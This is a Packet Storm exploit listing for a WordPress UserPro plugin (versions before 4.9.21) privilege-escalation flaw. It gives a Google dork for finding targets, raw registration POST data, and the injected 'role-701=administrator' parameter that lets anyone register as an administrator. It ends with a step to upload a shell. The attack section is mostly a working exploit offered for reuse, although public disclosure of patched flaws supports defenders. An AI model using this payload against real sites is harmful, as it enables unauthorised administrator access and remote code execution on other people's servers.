exploit the possibilities

WordPress UserPro Privilege Escalation

WordPress UserPro Privilege Escalation
Posted Jan 7, 2019
Authored by Noman Riffat

WordPress UserPro plugin versions prior to 4.9.21 suffers from a user registration privilege escalation vulnerability.

tags | exploit
MD5 | bb6eb6c67495541360a8ed0a1a32692b

WordPress UserPro Privilege Escalation

Change Mirror Download
# Exploit Title: Wordpress Plugin UserPro < 4.9.21 User Registration With Administrator Role
# Google Dork: inurl:/wp-content/plugins/userpro/
# Date: 3rd January, 2019
# Exploit Author: Noman Riffat
# Vendor Homepage: https://userproplugin.com/
# Software Link: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
# Version: < 4.9.21
# Tested on: Wordpress 4.9.9 with linux but should work on all WP versions and OS as well

UserPro fixed a user registration with administrator privileges vulnerability in version 4.9.21
But there wasn't any POC available so this exploit demonstrates this
vulnerability.
https://demo.userproplugin.com/wp-content/plugins/userpro/changelog.txt
From the changelog: "Security Fix : Registration role validation fix"

The latest version up to now is 4.9.29
The vulnerability allows anyone to register with Administrator role which
can easily be turned into RCE

Steps to reproduce:

1. Go to the registration form, input random fake values, trigger Burp
Suite and click submit.

2. The POST data will look similar to following

redirect_uri-701=&_myuserpro_nonce=xxxxxx&_wp_http_referer=%2F&unique_id=701&user_login-701=USERNAME&user_email-701=
USERNAME@EMAIL.COM
&user_pass-701=PASSWORD&user_pass_confirm-701=PASSWORD&display_name-701=&profilepicture-701=&country-701=&facebook-701=&twitter-701=&google_plus-701=&user_url-701=&terms=on&action=userpro_process_form&template=register&group=default&shortcode=xxxxxxxxxxxxxxxxxxxxxxxxxxx

Here "-701" is a random postfix number and gets stripped at the server.
Other than that, the interesting values are

user_login
user_email
user_pass
user_pass_confirm

3. Adding following extra parameter in POST data will register the user
with Administrator privileges

role-701=administrator

So the modified POST data will look similar to following

role-701=administrator&redirect_uri-701=&_myuserpro_nonce=xxxxxx&....snip....snip....

4. Forward the POST data in Burp Suite and you will get redirect to
/profile/ page with Administrator menu on top. Access /wp-admin/ to get to
the dashboard

5. Upload shell with default methods

@nomanriffat

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

January 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    15 Files
  • 2
    Jan 2nd
    15 Files
  • 3
    Jan 3rd
    11 Files
  • 4
    Jan 4th
    1 Files
  • 5
    Jan 5th
    2 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    24 Files
  • 8
    Jan 8th
    15 Files
  • 9
    Jan 9th
    16 Files
  • 10
    Jan 10th
    23 Files
  • 11
    Jan 11th
    17 Files
  • 12
    Jan 12th
    3 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    18 Files
  • 15
    Jan 15th
    33 Files
  • 16
    Jan 16th
    23 Files
  • 17
    Jan 17th
    29 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close